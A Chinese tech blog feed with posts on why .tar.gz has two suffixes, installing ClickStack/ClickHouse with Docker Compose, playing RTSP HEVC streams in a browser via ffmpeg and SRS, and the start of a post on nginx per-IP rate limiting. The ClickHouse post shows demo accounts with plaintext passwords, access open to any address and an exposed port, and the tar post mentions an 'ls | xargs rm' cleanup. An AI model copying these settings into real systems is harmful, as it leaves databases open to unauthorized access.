Nginx on 小盒子的技术分享

为什么 .tar.gz 要两个后缀

Mon, 13 Apr 2026 23:00:00 +0000

前两天我在重新编译一版 nginx。

流程基本闭着眼睛都能走。wget 拉下来一个 nginx-1.27.4.tar.gz，tar -xzvf 解开，进目录，./configure，make，make install。

敲完 tar 那条命令的一瞬间，我突然愣了一下。

这个 .tar.gz，两个后缀。

我用了大概十几年，从来没认真想过为什么要两个。

顺着这事我又想起来，我这双手对 tar 的记忆完全是肌肉记忆，xzvf 这四个字母该按什么顺序，大脑是不参与的，手指自己会动。正因为是肌肉记忆，我还踩过一个经典坑，偶尔下载到没有顶层目录的 tar 包，照样一梭子解下去，几十个文件啪一下全炸到当前目录，瞬间把工作目录变成垃圾场。

那种时候我一边 ls | xargs rm 一边告诉自己下次一定先 mkdir。

但下次还是不会。

人对每天都在用的东西是最没好奇心的。

说回 .tar.gz。这两个后缀到底是什么关系，为什么非得拆成两个。

我带着这个疑问查了一圈，发现这事比我想象的有趣得多。它不是什么历史包袱，也不是约定俗成的命名习惯，它是两个时代两个工具掰着手指头拼出来的一个结果。

先说 tar。

tar 这个命令，最早出现在 1979 年 1 月的 Unix Version 7 里，AT&T 贝尔实验室做的。名字也没什么加密的缩写，就是 Tape ARchive。翻译过来，磁带归档。字面意思。

你可以想象一下 1979 年。那会儿大家备份数据靠的是磁带，就是老电影里那种两个圆盘转啊转的大盘子，数据一圈一圈顺序刻在带子上。你不能跳着读，也不能中间插一段，只能从头到尾一次性过。

tar 这个工具的出生使命，就是为了给磁带服务的。

所以它做的事情特别简单，就一个动作，把一堆小文件按顺序拼成一条长长的字节流，好让磁带机一口气写下去。

注意，我说的是「拼成一条流」。

tar 压根就不压缩。

你拿 tar 把一个 100MB 的目录打成一个包，出来的文件还是 100MB，一个字节都没省。它只是把这些东西排成一列而已，没做别的事情。

tar 文件内部的最小单位是 512 字节一块，这个数字也不是随便选的。它就是 Unix V7 文件系统磁盘扇区的大小。1979 年的一个选择，刻在所有 tar 文件的基因里，一直刻到今天。所以 tar 管的事情，就到「拼」为止。

那压缩呢？

tar 不管。

这事儿一直到 1992 年才有人接手。

那一年，两个叫 Jean-loup Gailly 和 Mark Adler 的人做了一个东西叫 gzip。Gailly 写压缩，Adler 写解压，1992 年 10 月 31 号，gzip 0.1 正式发布。

这里有个背景值得一提。在 gzip 之前，Unix 自带的压缩工具叫 compress，用的是 LZW 算法。但 LZW 被 Unisys 和 IBM 捏在手里，九十年代初开始到处收钱，开源圈被整得很紧张。gzip 就是被逼出来的替代品，用的是另一个叫 DEFLATE 的算法，完美绕开了专利地雷。

这段往事本身就够写一篇文章的，但今天我们只关心一个点。

gzip 做的事也特别简单，就一个动作，把一条字节流压缩成一条更短的字节流。

你注意到了吗？gzip 也很轴。它只认「一条流」。你不能拿 gzip 去压一个目录，它不认识目录这回事。给它一个文件，它就吐一个压缩后的文件，给它一条流，它就吐一条压缩后的流。别的事它一概不管。

tar 只打包不压缩，gzip 只压缩不打包。

两个工具，谁都不会干对方的活。

那怎么办？

中间用一根 Unix 管道粘起来。

1tar cf - mydir | gzip > mydir.tar.gz

这条命令左边 tar 把 mydir 打成一条流，用 - 表示「别写文件，直接吐到标准输出」。中间一个 |，把这条流接到 gzip 的嘴边。右边 gzip 啃完这条流，吐出一条压缩过的流，重定向到 mydir.tar.gz。

一个 | 符号，两个工具，一条流水线。

你看到的那个 .tar.gz，就是这条流水线走完之后自然掉下来的结果。它的后缀之所以是两个，是因为这个文件真的经历了两道工序。第一道叫 tar，第二道叫 gz。后缀诚实地告诉你它是谁。

这里顺便说一句 tar 后来的 -z 参数。

GNU tar 的作者们觉得每次写管道太烦，加了一个 z 参数，告诉 tar，你要压缩的时候帮我顺手调一下 gzip。这就是为什么我们今天敲 tar -xzvf 这个 z。但你要知道，是 tar 在「替你调 gzip」，不是 tar 自己会压缩。四十五年过去了，tar 本体始终没长出压缩这项能力。

这个决定非常 Unix，非常硬核。

有意思的是，几乎就在 tar 过着自己小日子的同一年代，大洋对岸的 DOS/Windows 世界走了完全不同的一条路。

1989 年，美国程序员 Phil Katz 在 DOS 上搞出 PKZIP，顺手发明了 .zip 格式。zip 跟 tar + gzip 的哲学几乎是正相反的，一个工具同时做两件事，既打包又压缩，一把梭到底。

四年之后的 1993 年，另一个年轻人进场了。俄罗斯程序员 Eugene Roshal 发布命令行 RAR，1995 年又推出图形界面版 WinRAR。RAR 是 Roshal Archive 的缩写，字面意思就是「Roshal 的归档」，一个用作者自己名字命名的格式，主打比 zip 更高的压缩率。

WinRAR 这个软件顺便还成了互联网历史上最著名的「永恒试用版」。它写着 40 天试用期，但过期后不会拦你，只会弹一个很客气的提示让你买 license，你关掉它接着用，下次再弹。这个 40 天续命了二十多年，全球无数人用了一辈子没付过钱，它也不生气。这事本身已经成了一个互联网梗。

这一路跟 Unix 那边的区别非常明显，一个软件管到底，打包压缩全包在一个 exe 里。后来 1999 年俄罗斯人 Igor Pavlov 又搞了开源的 7-Zip，自带一个 .7z 格式，压缩率再往上提一截。1996 年 Julian Seward 做的 bzip2、2009 年 Lasse Collin 做的 xz 也都先后加入了这个江湖，压缩格式的主要玩家基本就是这些人了。

但你注意到一个很好玩的分化没有。

bzip2 和 xz 这两个后来的家伙，在 Unix 世界里叫什么？.tar.bz2 和 .tar.xz。tar 先把文件拼成流，bzip2 或者 xz 接着压。换压缩工具可以，换哲学不行。Unix 那边认死一件事，打包和压缩必须是两件事，永远是两件事。

Windows 那边正相反，出了更强的算法，就把旧软件整个换掉，一个 exe 管到底。

这已经不只是格式之争了，是两个世界对「一个工具应该长成什么样」的根本分歧。

为什么 Unix 那边坚持要拆？

这就得搬出 Doug McIlroy 了。

1978 年，贝尔实验室的 McIlroy 在 Bell System Technical Journal 上写了一段后来被反复引用的话，核心就三句。

“

写程序要让它们只做一件事，并且把这件事做好。

写程序要让它们互相协作。

处理的东西最好是文本流，因为那是通用接口。

这就是后来被叫作 Unix 哲学的那一段。

但这段话最有意思的一点，不在文字本身。在于说这话的人是谁。

Doug McIlroy 不光是写这段话的人，他同时还是 Unix 管道 | 这个符号的发明者。

你品一下这个巧合。

他说「让程序互相协作」的时候，他心里想的不是什么抽象的合作，他想的就是管道。一个程序的输出，通过一根 |，无缝流进下一个程序的嘴里。小工具、单一职责、用管道粘起来，组合出任意复杂的流水线。

.tar.gz 就是这段话最直白的产物。

tar 是第一个只做一件事的小工具，gzip 是第二个只做一件事的小工具，中间那根 | 是 McIlroy 本人发明的管道。你每打一个 .tar.gz 文件，都是在重演一遍 1978 年那段话。

这就是为什么我说它是活化石。

化石这个词听起来像是死掉的东西，但 .tar.gz 不是。你今天去 GitHub 上随便点一个 C 项目的 release，下载下来的几乎永远是 .tar.gz，不是 .zip。Linux 内核、nginx、curl、redis，全都是。它不是因为惯性才活着，它是因为那套哲学在今天依然被认为是对的才活着。

所以回到开头那个问题。

为什么 .tar.gz 要两个后缀？

因为它不是一个文件，是两个工具排成的一条流水线，每个后缀对应一个工位。你看到的是这条流水线吐出来的结果。

下次你再敲 tar -xzvf some-thing.tar.gz 的时候，可以稍微多看两眼那个 z。

那个 z 不是 tar 在解压。

那是 tar 在回头喊一声 gzip，过来搭把手。

两个工具，一根管道，四十五年。

快速安装 ClickHouse

Thu, 17 Jul 2025 09:33:05 +0000

概述

我们使用 docker compose 来安装 ClickHouse

但我们不是裸装 ClickHouse，实际上我们安装的是 ClickStack。有点儿像 elastic-stack 与 elastic search 的关系，但并不完全一样。

ClickStack 是基于 ClickHouse 构建的完整观察性平台，集成了日志、指标、追踪和会话回放功能，提供统一的用户界面和查询能力。因此，ClickStack 是在 ClickHouse 的基础上，结合 HyperDX 提供的前端界面和 OpenTelemetry Collector 实现的完整解决方案。它不仅仅是一个数据库，而是一个集成的观察性平台。

安装步骤参考官方文档：https://clickhouse.com/docs/zh/use-cases/observability/clickstack/getting-started?loc=use-case-observability

安装

克隆 HyperDX 仓库

1git clone https://github.com/hyperdxio/hyperdx.git
2
3cd hyperdx
4
5# switch to the v2 branch
6git checkout v2

根据自身情况修改配置文件 .env

我将 HDX_IMAGE_REPO=docker.hyperdx.io 修改为 HDX_IMAGE_REPO=docker.io 不然镜像拉不下来

 1# Used by docker-compose.yml
 2HDX_IMAGE_REPO=docker.hyperdx.io
 3IMAGE_NAME=ghcr.io/hyperdxio/hyperdx
 4IMAGE_NAME_DOCKERHUB=hyperdx/hyperdx
 5LOCAL_IMAGE_NAME=ghcr.io/hyperdxio/hyperdx-local
 6LOCAL_IMAGE_NAME_DOCKERHUB=hyperdx/hyperdx-local
 7ALL_IN_ONE_IMAGE_NAME=ghcr.io/hyperdxio/hyperdx-all-in-one
 8ALL_IN_ONE_IMAGE_NAME_DOCKERHUB=hyperdx/hyperdx-all-in-one
 9OTEL_COLLECTOR_IMAGE_NAME=ghcr.io/hyperdxio/hyperdx-otel-collector
10OTEL_COLLECTOR_IMAGE_NAME_DOCKERHUB=hyperdx/hyperdx-otel-collector
11CODE_VERSION=2.0.5
12IMAGE_VERSION_SUB_TAG=.0.5
13IMAGE_VERSION=2
14IMAGE_NIGHTLY_TAG=2-nightly
15IMAGE_LATEST_TAG=latest
16
17# Set up domain URLs
18HYPERDX_API_PORT=8000 #optional (should not be taken by other services)
19HYPERDX_APP_PORT=8080
20HYPERDX_APP_URL=http://localhost
21HYPERDX_LOG_LEVEL=debug
22HYPERDX_OPAMP_PORT=4320
23
24# Otel/Clickhouse config
25HYPERDX_OTEL_EXPORTER_CLICKHOUSE_DATABASE=default

docker compose 启动

1docker-compose up -d

Docker-compose 文件如下：

 1name: hdx-oss
 2services:
 3 # ONLY USED FOR DEMO SSL SETUP
 4 # nginx:
 5 # image: nginx:1.27.3
 6 # volumes:
 7 # - ./docker/nginx/nginx.conf:/etc/nginx/nginx.conf
 8 # - ./docker/nginx/ssl:/etc/nginx/ssl
 9 # - .volumes/nginx_logs:/var/log/nginx
10 # ports:
11 # - 80:80
12 # - 443:443
13 # networks:
14 # - internal
15 # depends_on:
16 # - app
17 db:
18 image: mongo:5.0.14-focal
19 volumes:
20 - .volumes/db:/data/db
21 # WARNING: Exposing the database port will make it accessible from outside the container,
22 # potentially allowing unauthorized access. If you uncomment the ports below,
23 # ensure to secure your database (e.g., with strong authentication, proper network rules, and firewalls).
24 # ports:
25 # - 27017:27017
26 networks:
27 - internal
28 otel-collector:
29 image: ${HDX_IMAGE_REPO}/${OTEL_COLLECTOR_IMAGE_NAME_DOCKERHUB}:${IMAGE_VERSION}
30 environment:
31 CLICKHOUSE_ENDPOINT: 'tcp://ch-server:9000?dial_timeout=10s'
32 HYPERDX_OTEL_EXPORTER_CLICKHOUSE_DATABASE: ${HYPERDX_OTEL_EXPORTER_CLICKHOUSE_DATABASE}
33 HYPERDX_LOG_LEVEL: ${HYPERDX_LOG_LEVEL}
34 OPAMP_SERVER_URL: 'http://app:${HYPERDX_OPAMP_PORT}'
35 ports:
36 - '13133:13133' # health_check extension
37 - '24225:24225' # fluentd receiver
38 - '4317:4317' # OTLP gRPC receiver
39 - '4318:4318' # OTLP http receiver
40 - '8888:8888' # metrics extension
41 restart: always
42 networks:
43 - internal
44 depends_on:
45 - ch-server
46 app:
47 image: ${HDX_IMAGE_REPO}/${IMAGE_NAME_DOCKERHUB}:${IMAGE_VERSION}
48 ports:
49 - ${HYPERDX_API_PORT}:${HYPERDX_API_PORT}
50 - ${HYPERDX_APP_PORT}:${HYPERDX_APP_PORT}
51 environment:
52 FRONTEND_URL: ${HYPERDX_APP_URL}:${HYPERDX_APP_PORT}
53 HYPERDX_API_KEY: ${HYPERDX_API_KEY}
54 HYPERDX_API_PORT: ${HYPERDX_API_PORT}
55 HYPERDX_APP_PORT: ${HYPERDX_APP_PORT}
56 HYPERDX_APP_URL: ${HYPERDX_APP_URL}
57 HYPERDX_LOG_LEVEL: ${HYPERDX_LOG_LEVEL}
58 MINER_API_URL: 'http://miner:5123'
59 MONGO_URI: 'mongodb://db:27017/hyperdx'
60 NEXT_PUBLIC_SERVER_URL: http://127.0.0.1:${HYPERDX_API_PORT}
61 OPAMP_PORT: ${HYPERDX_OPAMP_PORT}
62 OTEL_SERVICE_NAME: 'hdx-oss-api'
63 USAGE_STATS_ENABLED: ${USAGE_STATS_ENABLED:-true}
64 DEFAULT_CONNECTIONS:
65 '[{"name":"Local
66 ClickHouse","host":"http://ch-server:8123","username":"default","password":""}]'
67 DEFAULT_SOURCES:
68 '[{"from":{"databaseName":"default","tableName":"otel_logs"},"kind":"log","timestampValueExpression":"TimestampTime","name":"Logs","displayedTimestampValueExpression":"Timestamp","implicitColumnExpression":"Body","serviceNameExpression":"ServiceName","bodyExpression":"Body","eventAttributesExpression":"LogAttributes","resourceAttributesExpression":"ResourceAttributes","defaultTableSelectExpression":"Timestamp,ServiceName,SeverityText,Body","severityTextExpression":"SeverityText","traceIdExpression":"TraceId","spanIdExpression":"SpanId","connection":"Local
69 ClickHouse","traceSourceId":"Traces","sessionSourceId":"Sessions","metricSourceId":"Metrics"},{"from":{"databaseName":"default","tableName":"otel_traces"},"kind":"trace","timestampValueExpression":"Timestamp","name":"Traces","displayedTimestampValueExpression":"Timestamp","implicitColumnExpression":"SpanName","serviceNameExpression":"ServiceName","bodyExpression":"SpanName","eventAttributesExpression":"SpanAttributes","resourceAttributesExpression":"ResourceAttributes","defaultTableSelectExpression":"Timestamp,ServiceName,StatusCode,round(Duration/1e6),SpanName","traceIdExpression":"TraceId","spanIdExpression":"SpanId","durationExpression":"Duration","durationPrecision":9,"parentSpanIdExpression":"ParentSpanId","spanNameExpression":"SpanName","spanKindExpression":"SpanKind","statusCodeExpression":"StatusCode","statusMessageExpression":"StatusMessage","connection":"Local
70 ClickHouse","logSourceId":"Logs","sessionSourceId":"Sessions","metricSourceId":"Metrics"},{"from":{"databaseName":"default","tableName":""},"kind":"metric","timestampValueExpression":"TimeUnix","name":"Metrics","resourceAttributesExpression":"ResourceAttributes","metricTables":{"gauge":"otel_metrics_gauge","histogram":"otel_metrics_histogram","sum":"otel_metrics_sum","_id":"682586a8b1f81924e628e808","id":"682586a8b1f81924e628e808"},"connection":"Local
71 ClickHouse","logSourceId":"Logs","traceSourceId":"Traces","sessionSourceId":"Sessions"},{"from":{"databaseName":"default","tableName":"hyperdx_sessions"},"kind":"session","timestampValueExpression":"TimestampTime","name":"Sessions","displayedTimestampValueExpression":"Timestamp","implicitColumnExpression":"Body","serviceNameExpression":"ServiceName","bodyExpression":"Body","eventAttributesExpression":"LogAttributes","resourceAttributesExpression":"ResourceAttributes","defaultTableSelectExpression":"Timestamp,ServiceName,SeverityText,Body","severityTextExpression":"SeverityText","traceIdExpression":"TraceId","spanIdExpression":"SpanId","connection":"Local
72 ClickHouse","logSourceId":"Logs","traceSourceId":"Traces","metricSourceId":"Metrics"}]'
73 networks:
74 - internal
75 depends_on:
76 - ch-server
77 - db
78 ch-server:
79 image: clickhouse/clickhouse-server:24-alpine
80 # WARNING: Exposing the database port will make it accessible from outside the container,
81 # potentially allowing unauthorized access. If you uncomment the ports below,
82 # ensure to secure your database (e.g., with strong authentication, proper network rules, and firewalls).
83 ports:
84 - 8123:8123 # http api
85 - 9050:9000 # native
86 # environment:
87 # default settings
88 # CLICKHOUSE_DEFAULT_ACCESS_MANAGEMENT: 1
89 volumes:
90 - ./docker/clickhouse/local/config.xml:/etc/clickhouse-server/config.xml
91 - ./docker/clickhouse/local/users.xml:/etc/clickhouse-server/users.xml
92 - ./empty.xml:/etc/clickhouse-server/users.d/default-password.xml
93 - .volumes/ch_data:/var/lib/clickhouse
94 - .volumes/ch_logs:/var/log/clickhouse-server
95 restart: on-failure
96 networks:
97 - internal
98networks:
99 internal:

注意：environment 部分我注释掉了，另外加了一行：./empty.xml:/etc/clickhouse-server/users.d/default-password.xml 作用是解决 clickhouse 连接异常的问题。

通过 /data/clickhouse/hyperdx/docker/clickhouse/local/users.xml 可以看到 clickhouse 的账户信息：

 1<?xml version="1.0"?>
 2<clickhouse>
 3 <profiles>
 4 <default>
 5 <max_memory_usage>10000000000</max_memory_usage>
 6 <use_uncompressed_cache>0</use_uncompressed_cache>
 7 <load_balancing>in_order</load_balancing>
 8 <log_queries>1</log_queries>
 9 </default>
10 </profiles>
11
12 <users>
13 <default>
14 <password_sha256_hex>2d964690ad5ac2d2f78bebadc30895bc519969ffcef4d3c9e7ff04ee1c765d96</password_sha256_hex>
15 <profile>default</profile>
16 <networks>
17 <ip>::/0</ip>
18 </networks>
19 <quota>default</quota>
20 </default>
21 <api>
22 <password>api</password>
23 <profile>default</profile>
24 <networks>
25 <ip>::/0</ip>
26 </networks>
27 <quota>default</quota>
28 </api>
29 <worker>
30 <password>worker</password>
31 <profile>default</profile>
32 <networks>
33 <ip>::/0</ip>
34 </networks>
35 <quota>default</quota>
36 </worker>
37 </users>
38
39 <quotas>
40 <default>
41 <interval>
42 <duration>3600</duration>
43 <queries>0</queries>
44 <errors>0</errors>
45 <result_rows>0</result_rows>
46 <read_rows>0</read_rows>
47 <execution_time>0</execution_time>
48 </interval>
49 </default>
50 </quotas>
51</clickhouse>

密码用 sha256sum 处理过

可以这样生成：

1echo -n '你的密码' | sha256sum

运行

点击登录跳转至首页

客户端连接

用户名：default
密码：你的密码
端口：8123

数据库初始化

初始化 sql 脚本

 1/* 1. 创建数据库（如已存在可先 DROP DATABASE IF EXISTS testdb） */
 2CREATE DATABASE IF NOT EXISTS testdb;
 3
 4/* 2. 维度表：用户 */
 5CREATE TABLE IF NOT EXISTS testdb.users (
 6 user_id UInt32,
 7 user_name String,
 8 signup_date Date
 9) ENGINE = MergeTree
10ORDER BY user_id;
11
12/* 3. 维度表：页面 */
13CREATE TABLE IF NOT EXISTS testdb.pages (
14 page_id UInt32,
15 page_url String,
16 category String
17) ENGINE = MergeTree
18ORDER BY page_id;
19
20/* 4. 事实表：页面访问日志 */
21CREATE TABLE IF NOT EXISTS testdb.pageviews (
22 event_date Date,
23 event_time DateTime,
24 user_id UInt32,
25 page_id UInt32,
26 duration UInt32 -- 停留秒数
27) ENGINE = MergeTree
28PARTITION BY toYYYYMM(event_date)
29ORDER BY (event_date, user_id, page_id);
30
31/* 5. 物化视图：每日 PV / UV 聚合 */
32CREATE MATERIALIZED VIEW IF NOT EXISTS testdb.pv_uv_daily
33ENGINE = SummingMergeTree
34PARTITION BY toYYYYMM(event_date)
35ORDER BY event_date
36AS
37SELECT
38 event_date,
39 count() AS pv,
40 uniqExact(user_id) AS uv
41FROM testdb.pageviews
42GROUP BY event_date;
43
44/* 6. 演示数据插入 ---------------------------------------- */
45
46/* 用户维度 */
47INSERT INTO testdb.users (user_id, user_name, signup_date) VALUES
48 (1, 'Alice', '2024-06-01'),
49 (2, 'Bob', '2024-07-15'),
50 (3, 'Cathy', '2024-11-30');
51
52/* 页面维度 */
53INSERT INTO testdb.pages (page_id, page_url, category) VALUES
54 (10, '/home', 'landing'),
55 (11, '/pricing', 'info'),
56 (12, '/blog', 'content');
57
58/* 页面访问日志 */
59INSERT INTO testdb.pageviews (event_date, event_time, user_id, page_id, duration) VALUES
60 ('2025-07-13', '2025-07-13 09:17:00', 1, 10, 35),
61 ('2025-07-13', '2025-07-13 09:18:07', 1, 11, 50),
62 ('2025-07-13', '2025-07-13 09:19:02', 2, 10, 15),
63 ('2025-07-14', '2025-07-14 10:03:45', 3, 12, 120),
64 ('2025-07-14', '2025-07-14 10:05:22', 1, 12, 90);
65
66/* 7. 快速验证 --------------------------------------------- */
67
68/* 查看当前数据库已创建的表 */
69SHOW TABLES FROM testdb;
70
71/* 查询物化视图结果 */
72SELECT * FROM testdb.pv_uv_daily ORDER BY event_date;
73
74/* 联表查询示例 */
75SELECT
76 u.user_name,
77 p.page_url,
78 v.event_time,
79 v.duration
80FROM testdb.pageviews AS v
81LEFT JOIN testdb.users AS u ON v.user_id = u.user_id
82LEFT JOIN testdb.pages AS p ON v.page_id = p.page_id
83ORDER BY v.event_time DESC;

浏览器如何播放 RTSP 协议的 HEVC 视频

Sun, 18 Aug 2024 10:44:54 +0000

起因

最近接入了一个三方的 API，对方提供的数据中有视频链接，是实时流视频，最开始的时候是 http 协议的，我一看 http 应该没问题，在本机的视频播放器 IINA 上试了一下能播，又在前端写了个 demo，浏览器也能播放，没什么问题。这个地址的后缀是 .flv

后来数据中出现了 rtsp 协议的地址。最开始没当回事儿，在 IINA 上试了一下可以播就去忙别的了，后来负责开发的小伙伴反馈这玩意在浏览器播不了，这才引起了重视。

经过

经过一番研究，果然，rtsp 协议的视频地址是无法直接在浏览器播放的。需要我们自己处理。经过与三方 API 厂商沟通无果后，我们只能硬着头皮自己处理了。虽然最后圆满解决了，但我们也不得不说自己的经验不足，如果一开始我们就确定的知道 rtsp 协议无法直接在浏览器播放，那么我们和三方 API 对接时候的策略和态度就会完全不一样。在系统解决方案设计时也会完全不一样。现在这个时间点，我们是很被动的。

无论如何，我们是要解决它的。我们研究了一下发现，要将 rtsp 协议的视频做一个协议转换，然后将转换后的实时视频流推到流视频服务器，播放时，浏览器从这个流视频服务器拉流播放。

架构上还是比较简单的，于是我们开始搭建实时视频流服务器。

流视频服务器

查阅了一些资料后发现用 Nginx 配合一些模块可以解决问题。于是找到了 nginx-rtmp-module https://github.com/arut/nginx-rtmp-module

“

NGINX-based Media Streaming Server

原理上是基于 NGINX 做的流视频服务器，把 rtsp 协议的视频转成 rtmp，然后再拉流播放。

它的功能其实也不少：

本来想直接做个 demo 搞一下，不过在查阅资料的时候发现了这个模块：nginx-http-flv-module https://github.com/winshining/nginx-http-flv-module

看了一下功能对比和一些测评，嗯，没有理由不用更好的，你说是吧。于是就开始使用 nginx-http-flv-module 来做 demo

nginx-http-flv-module 是用源码编译安装的，安装过程也不复杂，大家随便搜一搜就能找到教程，我这里就不废话了。安装完成后就可以参考 nginx-http-flv-module 的文档搭建 demo 了。

ffmpeg 推流

所谓推流，还要用到 ffmpeg ，这个强大的软件我也不用过多介绍，很多视频、音频、图像的处理都可以用到它，强大极了，参数也复杂极了。不过我们本文用到的不复杂：

1ffmpeg -re -rtsp_transport tcp -i "rtsp://原视频 IP: 端口/live/heihe" -c:v copy -an -f flv "rtmp://127.0.0.1/myapp/livetest"

在执行这个命令之前需要我们在本地安装好 nginx 以及相应的 nginx-http-flv-module模块和 ffmpeg(ffmpeg 的安装也不赘述了，教程也很多，随便一搜就能搞定）

全部安装好以后启动 Nginx，然后就可以执行上面的命令推流了。

解释下上面的命令，这条命令使用 ffmpeg，从一个 RTSP 流中读取视频，并将其以 FLV 格式推送到一个 RTMP 流。下面是每个参数的解释：

ffmpeg：这是命令本身，调用 FFmpeg 应用程序。
-re：表示“real-time”，这个选项告诉 FFmpeg 以与源相同的速率读取输入，模拟实时流。
-rtsp_transport tcp：指定使用 TCP 协议来传输 RTSP 流。RTSP 流可以使用 UDP 或 TCP，此选项强制使用 TCP。
-i "rtsp://原视频 IP: 端口/live/heihe"：这是输入选项，指定了 RTSP 流的 URL。这个 URL 指向一个特定的视频流。
-c:v copy：指定视频编码器为“copy”，这意味着视频流将不会被重新编码，而是直接复制到输出流中。
-an：这个选项表示“no audio”，告诉 FFmpeg 不要处理音频流，即输出中不包括音频。
-f flv：指定输出格式为 FLV（Flash Video）。FLV 是一种常用于流媒体传输的视频格式。
"rtmp://127.0.0.1/myapp/livetest"：这是输出选项，指定了 RTMP 流的 URL。在这个例子中，流被推送到本地主机的myapp应用下的livetest流。

这条命令的作用是从一个 RTSP 流中读取视频（不包括音频），并以实时的方式将其以 FLV 格式推送到一个 RTMP 服务器。这是流媒体传输中的一个常见用法，例如将监控摄像头或直播视频从 RTSP 源转发到 RTMP 流媒体服务器。

拉流

到这里活儿就干了一半了，剩下的就是如何在浏览器拉流播放，so easy, 根据 nginx-http-flv-module 的文档写个 html 页面就可以测试了

 1<!DOCTYPE html>
 2<html lang="en">
 3<head>
 4 <meta charset="UTF-8">
 5 <title>Video Player</title>
 6 <script src="https://cdn.jsdelivr.net/npm/flv.js/dist/flv.min.js"></script>
 7</head>
 8<body>
 9 <video id="videoElement" controls width="640" height="360"></video>
10 <script>
11 
12 if (flvjs.isSupported()) {
13 var videoElement = document.getElementById('videoElement');
14 var flvPlayer = flvjs.createPlayer({
15 type: 'flv',
16 url: 'http://localhost:8080/live?app=myapp&stream=livetest'
17 });
18
19 flvPlayer.attachMediaElement(videoElement);
20 flvPlayer.load();
21 flvPlayer.play();
22
23 
24 }
25 </script>
26</body>
27</html>

问题

本来以为到这里就结束了，因为测试也没发现什么毛病，部署到测试环境也是 OK 的。然而还是出问题了。

我们拿到的 rtsp 流视频源里有的是 h264 编码的，而有的是 h265 编码的。264 的没问题，而 265 的是播不出来的。

同样在跟三方沟通无果后，我们也得自己解决这个问题。首先看了一下前端使用的 flv.js ，没错它不支持 HEVC(h265)，没事儿，好在 mpegts.js 支持

但重点不在这里，而是充当流媒体服务器的 nginx-http-flv-module 也不支持 H265。

好吧，之前的 demo 白写了，人家不支持。于是又要重新设计方案，找替代品。好在市面上流媒体服务器的项目很多，我们找到了一个相对不错的项目 SRS https://ossrs.io/lts/zh-cn/

srs 的安装部署非常简单，参照文档可以很容易的搭建起来。但是注意，安装时候，源码选择上尽量使用 release 版本，develop 版本的源码有 bug 的可能性很高。

我没有使用 docker 安装，它是支持 docker 安装的。

srs 安装好以后，接下来就是推流和拉流了，推流仍然使用 ffmpeg 命令，参考 srs 的文档，地址稍微改一改就可以，推流完成后，srs 还有一个管理页面可以进行播放的测试，简直太贴心了。默认地址是：http://localhost:8080/ （srs 内置了一个 http server ）

可以看到，它还十分贴心的告诉你建议使用什么前端组件来播放什么协议的视频。

前端

前端页面是最简单的，我写了一个 demo：

 1<!DOCTYPE html>
 2<html lang="en">
 3<head>
 4 <meta charset="UTF-8">
 5 <title>Video Player</title>
 6 <script src="./mpegts.js"></script>
 7</head>
 8<body>
 9 <video id="videoElement" controls width="640" height="360"></video>
10
11 <video id="videoElement2" controls width="640" height="360"></video>
12 <script>
13 
14 if (mpegts.isSupported()) {
15 var videoElement = document.getElementById('videoElement');
16 var flvPlayer = mpegts.createPlayer({
17 type: 'flv',
18 url: 'http://localhost:8088/live/livestream3.flv'
19 });
20
21 flvPlayer.attachMediaElement(videoElement);
22 flvPlayer.load();
23 flvPlayer.play();
24 
25 }
26 </script>
27</body>
28</html>

最后

ffmpeg 命令在我们的系统中是要由程序来控制执行的，我们在原有 java 程序中改了一下，添加了控制 ffmpeg 命令启动的程序，后来又改成执行一个 shell 脚本，因为我想在脚本中添加一点逻辑，比如 srs 如果没启动就把它启动起来，具体可以参考：

 1#!/bin/bash
 2
 3# 检查参数数量是否正确
 4if [ "$#" -ne 2 ]; then
 5 echo "用法：$0 <RTSP_URL> <RTMP_URL>"
 6 echo "示例：$0 rtsp://123.456.543.212:873/live/aabbcc rtmp://localhost/live/aabbcc"
 7 exit 1
 8fi
 9
10# 获取输入参数
11RTSP_URL=$1
12RTMP_URL=$2
13
14# 定义要检查的进程命令
15FFMPEG_PROCESS_CMD="ffmpeg -re -rtsp_transport tcp -i $RTSP_URL -c:v copy -an -f flv $RTMP_URL"
16SRS_PROCESS_CMD="./objs/srs -c conf/srs.conf"
17SRS_DIR="/usr/srs/srs-server-6.0-a0/trunk"
18
19# 使用 ps 和 grep 检查进程是否存在
20check_process() {
21 if ps aux | grep -v grep | grep "$1" > /dev/null 2>&1; then
22 return 0
23 else
24 return 1
25 fi
26}
27
28# 检查并启动 SRS 进程
29if check_process "$SRS_PROCESS_CMD"; then
30 echo "SRS 进程已存在，无需启动新进程。"
31else
32 echo "SRS 进程不存在，正在启动新进程。.."
33 cd $SRS_DIR
34 $SRS_PROCESS_CMD > /dev/null 2>&1 &
35 sleep 2
36fi
37
38# 检查并启动 ffmpeg 进程
39if check_process "$FFMPEG_PROCESS_CMD"; then
40 echo "ffmpeg 进程已存在，无需启动新进程。"
41else
42 echo "ffmpeg 进程不存在，正在启动新进程。.."
43 $FFMPEG_PROCESS_CMD > /dev/null 2>&1 &
44fi

总的来说，SRS 是很强大的，它能干的事情不止我们这个在浏览器播放 RTSP 协议视频这么简单，而且它的性能也很强。👍 （官方文档介绍比 nginx的方案强一倍）

nginx 如何做针对 ip 的限流

Tue, 23 Jul 2024 14:10:00 +0000

闲白

说到限流，大家一定能想到很多算法，比如 令牌桶 、漏桶 、计数器限流、 信号量 等等。解决方案也有很多，以 java 为例，Guava 库中的 RateLimiter 类可以实现，Semaphore 类也可以实现。再复杂点儿，比如你是一个分布式微服务系统，可以上 Hystrix、Resilience4j 这种现成的方案。

从系统架构上来说，无非是在单体应用的当前进程中实现，还是分布式应用的非当前进程中之实现。当然还有另一种方案，就是不在业务应用中实现，而是把这种跟业务不那么紧耦合的功能抽象出去，在网络层面对所有进入系统的请求进行统一的限流控制，这种方式的好处是可以避免每个微服务都实现自己的限流逻辑。

现在很多 API 网关，尤其是新晋的 “云原生” 网关都具备这个功能（基本是标配），比如：Zuul、Kong、Ambassador、APISIX 等。

我们先不论系统是不是分布式微服务的，就单说限流这个事儿，其实也完全可以用 API 网关的思路来实现。就是我不用非要把代码写在应用中，如果我就是不想改代码呢？我想随时调整个限流策略还得重启应用？应用那么重，生效时间那么长，我可不想重启！

所以我们回头看看自己架构中的这些软件，一定能想到这位老朋友 Nginx 。当然无论是原味的 Nginx 还是跟它有血缘关系的 openResty 都一样。

想像一下，用 nginx 配置一下然后 nginx -s reload 就能搞定了，岂不痛快？!

正题

下文我们开始介绍在 nginx 怎么配置能实现针对某些（讨厌的）ip 进行限流，且不影响系统正常运行。（感叹：nginx 是个好东西！！！）

